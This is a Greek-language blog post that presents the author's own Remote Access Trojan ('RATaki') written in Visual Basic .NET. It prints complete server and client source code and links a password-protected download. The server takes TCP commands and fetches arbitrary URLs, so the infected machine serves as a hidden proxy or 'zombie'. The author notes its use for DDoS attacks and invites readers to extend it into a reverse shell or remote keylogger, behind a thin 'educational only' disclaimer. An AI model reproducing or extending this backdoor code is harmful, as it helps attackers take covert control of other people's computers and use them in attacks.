RAT, σύμφωνα με την webopedia:
“Short for Remote Access Trojan, a Trojan horse that provides the intruder, or hacker, with a backdoor into the infected system. This backdoor allows the hacker to snoop your system, use your infected system to launch a zombie (attacks on other systems), or even run malicious code.
See also zombie.”
Θέλησα λοιπόν να φτιάξω ένα τέτοιο πρόγραμμα με τους ακόλουθους περιορισμούς και στόχους:
- Κάνοντας χρήση λίγο αντισυμβατικών (για αυτήν την δουλειά) γλωσσών προγραμματισμού. Επέλεξα την Visual Basic 8 Express Edition για 2 βασικούς λόγους:
(α) Είναι δωρεάν και μπορείτε να την κατεβάσετε από εδώ και
(β) Δείχνει την ευκολία που μπορείτε να αναπτύσετε εφαρμογές με την χρήση του .Net framework, άσχετα αν γράφετε σε C# ή σε Visual Basic.
- Κάνοντας τον κώδικα όσο ανοιχτό γίνεται ώστε αυτό το RATaki να λειτουργήσει και σαν «σκαλοπάτι» που κάποιος (programmer) θα μπορούσε εύκολα να το πάρει και να το προχωρήσει προσθέτοντας εύκολα και γρήγορα τα δικά του χαρακτηριστικά.
- Να δώσω κάποια hints για το πως κάποιος μπορεί να γράψει έναν κακόβουλο πρόγραμμα - άρα και τρόπους για να γράψετε δικές σας "ασπίδες" - προγράμματα που θα τον μπλοκάρουν ή ξεσκεπάζουν.
Χαρακτηριστικά του server:
Ακούει σε μια συγκεκριμένη πόρτα για τις εντολές του client.
Διαθέσιμες εντολές:
- Αν το πρώτο γράμμα του TCP πακέτου που στέλνει ο client είναι "1" τότε η εντολή αυτή ερμηνεύεται από τον server σαν εντολή ping και απαντάει με ένα... "I' m here baby!"
- Αν το πρώτο γράμμα του TCP πακέτου που στέλνει ο client είναι "2" τότε η εντολή αυτή ερμηνεύεται από τον server σαν εντολή για άνοιγμα μιας σελίδας HTTP και απαντάει με την απάντηση (σε μορφή HTML) που πήρε από τον web server καλώντας το URL που ακολουθεί μετά το 2.
Χαρακτηριστικά του client:
Στέλνει εντολές στον server και περιμένει την απάντηση.
Διαθέσιμες εντολές:
- Αν το πρώτο γράμμα του TCP πακέτου που στέλνει ο client είναι "1" τότε η εντολή αυτή ερμηνεύεται από τον server σαν εντολή ping και απαντάει με ένα... "I' m here baby!" (το είπαμε ήδη... ε?). Για να συμβεί αυτό πρέπει το check box "R u there" πρέπει να είναι επιλεγμένο.
- Αν το πρώτο γράμμα του TCP πακέτου που στέλνει ο client είναι "2" τότε η εντολή αυτή ερμηνεύεται από τον server σαν εντολή για άνοιγμα μιας σελίδας HTTP και απαντάει με την απάντηση (σε μορφή HTML) που πήρε από τον web server καλώντας το URL που ακολουθεί μετά το 2. Αυτή η απάντηση εμφανίζεται σαν HTML κώδικας στο tab Html-Response και σαν Html-σελίδα στο tab Web Browser.
Παράδειγμα εκτέλεσης του προγράμματος:

Σε γενικές γραμμές, αυτό που κάνει το πρόγραμμα με την μορφή που έχει τώρα είναι το εξής: Μπορεί ο client να τρέχει σε ένα pc A και ο server na τρέχει σε ένα PC B. Ο χρήστης στο Β μπορεί να καλεί URLs τα οποία θα περνάνε στον server και θα καλούνται από εκεί. Αυτό που θα συμβαίνει στην πραγματικότητα είναι οτι ο server θα είναι zombi του client εμφανίζοντας την την IP του Α στις κλήσεις του B. Κάποιος θα έλεγε οτι αυτό θα μπορούσε να είναι ένα είδος.... "proxy"... κρυμμένου ή μία μέθοδος για να ξεκινήσει κάποιος ένα DDOS (Distributed Denial Of Services) σε κάποιο site. Σας προτείνω να επεκτείνετε το πρόγραμμα ώστε να δέχεται δικές σας εντολές. Νομίζω οτι ένα reverse shell ή ένας remote keylogger δεν απέχει και πολύ μακρυά!
Χρησιμοποιείστε το πρόγραμμα όπως θέλετε - εξαιρούνται οι γνωστοί και ηλίθιοι τρόποι που χρησιμοποιούν οι μέτριοι: για επιθέσεις με κακό σκοπό! Δεν χρειάζετε να αναφέρετε (αν δεν γουστάρετε) τον δημιουργό του προγράμματος.
Our "HowToBeFamous" dept has been closed, a long time ago... ;)
Όλο το project, μπορείτε να το κατεβάσετε από εδώ:
Password: p0wnbox.com
Έχω τρέξει με επιτυχία τον server σε Windows XP Pro (με .net 2.0) , Windows XP Pro (με .net 3.5) και Windows 7 Home Premium. Έχω δοκιμάσει τον client σε windows 7. Το πρόγραμμα σαν Client/Server το έχω τεστάρει σε LAN και σε LAN virtual machine.
Κάθε παρατήρηση θετική ή αρνητική, όχι μόνο δεκτή είναι, αλλά... ευπρόσδεκτη!
Ο κώδικας του server είναι ο παρακάτω:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
|
REM *********************************************************************
REM A simple remote access server.
REM It listens at a specific port for a client command.
REM Available commands:
REM 1. If the first letter of the packet send by the client is "1" then this is considered as a "ping" request.
REM So, the server responses with a "IREM m here baby!"
REM 2. If the first letter of the packet send by the client is "2" then this is considered as an HTTP request.
REM So, the server access the specified page and send the web response to the cient as an html page.
REM
REM (C) 04th of Jan 2010
REM Greetz to p0wnbox team @ www.p0wnbox.com
REM
REM
REM REMARKS:
REM You can get this program and extend it to handle any commands you want.
REM I bet that you gonna use it for educational purposes ONLY. Am i right? ;)
REM thx... I appreciate!
REM ****************************************************************************************************************
Imports System.Net.Sockets
Imports System.Net
Imports System.Text
Imports System.IO
Class TCPSrv
Const BUFFER_SIZE As Integer = 512
Shared Sub Main(ByVal args As String())
REM Must listen on correct port- must be same as port client wants to connect on.
Dim portNumber As Integer = 8000 REM My default port.
Dim serverIP As IPAddress = IPAddress.Parse("127.0.0.1") REM My default IP.
Dim i As Integer = 0
REM If arguments exist the use them overwriting the defaults.
While i < args.Length
Select Case args(i)
Case "/p" REM Port Flag parameter. If not entered, port 8000 will be used.
i += 1 REM Skip to the actual port parameter.
portNumber = Integer.Parse(args(i))
Case "/h" REM Hosts IP Flag parameter. If not entered, ip 127.0.0.1 will be used.
i += 1 REM Skip to the actual IP parameter.
serverIP = IPAddress.Parse(args(i))
End Select
i += 1 REM Skip to the next argument.
End While
Dim tcpListener As New TcpListener(serverIP, portNumber)
Try
While (1 = 1)
tcpListener.Start()
Console.WriteLine("Server is listening on {0}:{1}...", serverIP, portNumber)
REM Waiting for a client to be connected.
Dim tcpClient As TcpClient = tcpListener.AcceptTcpClient()
Console.WriteLine("Connection accepted.")
REM Get the stream
Dim networkStream As NetworkStream = tcpClient.GetStream()
REM Read the client command into an 8k buffer. It could not be greater ;)
Dim bytes(8000) As Byte
networkStream.Read(bytes, 0, 8000)
REM Return the data received from the client to the console.
Dim clientdata As String = Encoding.ASCII.GetString(bytes)
Dim iPos As Integer = InStr(clientdata, Chr(0))
If iPos > 0 Then clientdata = Left(clientdata, iPos - 1)
REM Acccording to the packet (its 1st letter) send by the client we answer
If clientdata.Substring(0, 1) = "1" Then REM Command #1: R u Up request.
Dim responseString As String = "IREM m here baby!"
Dim sendBytes As [Byte]() = Encoding.ASCII.GetBytes(responseString)
networkStream.Write(sendBytes, 0, sendBytes.Length)
ElseIf clientdata.Substring(0, 1) = "2" Then REM Command #2: A web request.
REM I consider the web request command as: "2http://www.google.com",
REM so, I send the command to the "gotoWeb" function w/o its first letter.
Dim sTheURL As String = clientdata.Substring(1, clientdata.Length - 1)
TCPSrv.gotoWeb(networkStream, sTheURL)
Else
REM Unhandled command request found!
Dim responseString As String = "Ops... I dont know this command!"
Dim sendBytes As [Byte]() = Encoding.ASCII.GetBytes(responseString)
networkStream.Write(sendBytes, 0, sendBytes.Length)
End If
tcpClient.Close()
tcpListener.Stop()
End While
Catch e As Exception
REM A serious error occured. Display its description to the console.
Console.WriteLine(e.ToString())
Finally
tcpListener.Stop()
End Try
End Sub
REM ***************************************************************************************
REM This is a very simple function to access a web server (via HTTP), get the server response,
REM store this response to a string and send it via TCP to the client.
REM
Shared Sub gotoWeb(ByVal netStream As NetworkStream, ByVal sUrl As String)
Dim sendBytes As [Byte]()
Dim sWebHtmlResponse As String
Try
REM Create a REM WebRequestREM object with the specified url
Dim myWebRequest As WebRequest = WebRequest.Create(sUrl)
REM Send the REM WebRequestREM and wait for response.
Dim myWebResponse As WebResponse = myWebRequest.GetResponse()
Dim sPageEncoding As String = DirectCast(myWebResponse, System.Net.HttpWebResponse).CharacterSet
REM Call method REM GetResponseStreamREM to obtain stream associated with the response object
Dim ReceiveStream As Stream = myWebResponse.GetResponseStream()
REM If the operating system has the encoding of the web page then use it, otherwise use the default.
Dim encode As Encoding
Try
encode = System.Text.Encoding.GetEncoding(sPageEncoding)
Catch ex As Exception
encode = System.Text.Encoding.Default
End Try
REM Pipe the stream to a higher level stream reader with the required encoding format.
Dim readStream As New StreamReader(ReceiveStream, encode)
Dim read(256) As Char
REM Read 256 characters at a time.
Dim count As Integer = readStream.Read(read, 0, 256)
sWebHtmlResponse = ""
While count > 0
REM Dump the 256 characters on a string .
Dim str As New [String](read, 0, count)
sWebHtmlResponse += str
count = readStream.Read(read, 0, 256)
End While
REM Add a new line to the webResponse string.
sWebHtmlResponse += ControlChars.Lf + ControlChars.Cr
REM Release the resources of stream object.
readStream.Close()
REM Release the resources of response object.
myWebResponse.Close()
REM Send the Html Response to the client in UTF-8 format.
sendBytes = Encoding.UTF8.GetBytes(sWebHtmlResponse)
netStream.Write(sendBytes, 0, sendBytes.Length)
Catch ex As Exception
REM Ops! An error occur, inform the client about it!
sendBytes = Encoding.ASCII.GetBytes(ex.Message)
netStream.Write(sendBytes, 0, sendBytes.Length)
End Try
End Sub
End Class |
...και το κυριότερο μέρος του client είναι το εξής:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
|
REM *********************************************************************
REM A simple client.
REM It sends commands at a specific port at a specific address.
REM Available commands:
REM 1. If the first letter of the packet send by the client is "1" then this is considered as a "ping" request
REM (i.e. The "R u there" checkbox must be checked!
REM The server sould considered with a "IREM m here baby!"
REM 2. If the first letter of the packet send by the client is "2" then this is considered as an HTTP request.
REM The server access the specified page and send the web response to the cient as an html page.
REM The page is displyed as html-text as well as html-look in the pages: Html-Response & Web Browser respectively.
REM
REM (C)04th of Jan 2010
REM Greetz to p0wnbox team @ www.p0wnbox.com
REM
REM
REM REMARKS:
REM You can get this program and extend it to handle any commands you want.
REM I bet that you gonna use it for educational purposes ONLY. Am i right? ;)
REM thx... I appreciate!
REM ****************************************************************************************************************Imports System.Net.Sockets
Imports System.Text
Imports System.IO
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim tcpClient As New System.Net.Sockets.TcpClient()
Dim sInformation As String
REM Clear the pages
RichTextBox1.Clear()
WebBrowser1.Navigate("about:blank")
REM Inform the user about the response time
sInformation = "Client Requests @ " + DateTime.Now.ToString
ListBox1.Items.Add(sInformation)
Try
tcpClient.Connect(TextBox_IP.Text, NumericUpDown_Port.Value)
Dim networkStream As Net.Sockets.NetworkStream = tcpClient.GetStream()
If networkStream.CanWrite And networkStream.CanRead Then
Dim sendBytes As [Byte]() = Nothing
Dim s As String
Dim i As Int32
Dim bytes(tcpClient.ReceiveBufferSize) As Byte
If CheckBox_handshake.Checked = True Then
sendBytes = Encoding.ASCII.GetBytes("1.Is anybody there?")
networkStream.Write(sendBytes, 0, sendBytes.Length)
REM Read the NetworkStream into a byte buffer.
networkStream.Read(bytes, 0, CInt(tcpClient.ReceiveBufferSize))
REM Output the data received from the host to the listbox.
s = Space(5) + Encoding.ASCII.GetString(bytes)
ListBox1.Items.Add(s)
sInformation = "Server Respond @ " + DateTime.Now.ToString
ListBox1.Items.Add(sInformation)
Else
REM Send the request to the server.
s = "2" + TextBox_URL.Text
sendBytes = Encoding.ASCII.GetBytes(s)
networkStream.Write(sendBytes, 0, sendBytes.Length)
REM Read the Packet: The HTML page.
REM Loop to receive all the data sent by the server.
s = ""
i = networkStream.Read(bytes, 0, bytes.Length)
While (i <> 0)
REM Translate data bytes to a UTF8 string.
s += System.Text.Encoding.UTF8.GetString(bytes, 0, i)
i = networkStream.Read(bytes, 0, bytes.Length)
End While
REM Inform the user about the response time
sInformation = "Server Respond @ " + DateTime.Now.ToString
ListBox1.Items.Add(sInformation)
REM Update the ritch-text with the HTML response.
RichTextBox1.Text = s
REM Write the HTML contents to a file and force browser to read it.
Using sw As StreamWriter = New StreamWriter("CurrentReadPage.htm", False, System.Text.Encoding.GetEncoding("UTF-8"))
sw.Write(s)
sw.Close()
End Using
Dim sCurrentFilePath As String = Environment.CurrentDirectory()
sCurrentFilePath += "\CurrentReadPage.htm"
WebBrowser1.Navigate(sCurrentFilePath)
End If
Else
If Not networkStream.CanRead Then
ListBox1.Items.Add("Fail to write data to the stream.")
ElseIf Not networkStream.CanWrite Then
ListBox1.Items.Add("Fail to read data from the stream.")
tcpClient.Close()
End If
End If
Catch ex As Exception
ListBox1.Items.Add(ex.Message)
End Try
End Sub
End Class |
Nothing to declare...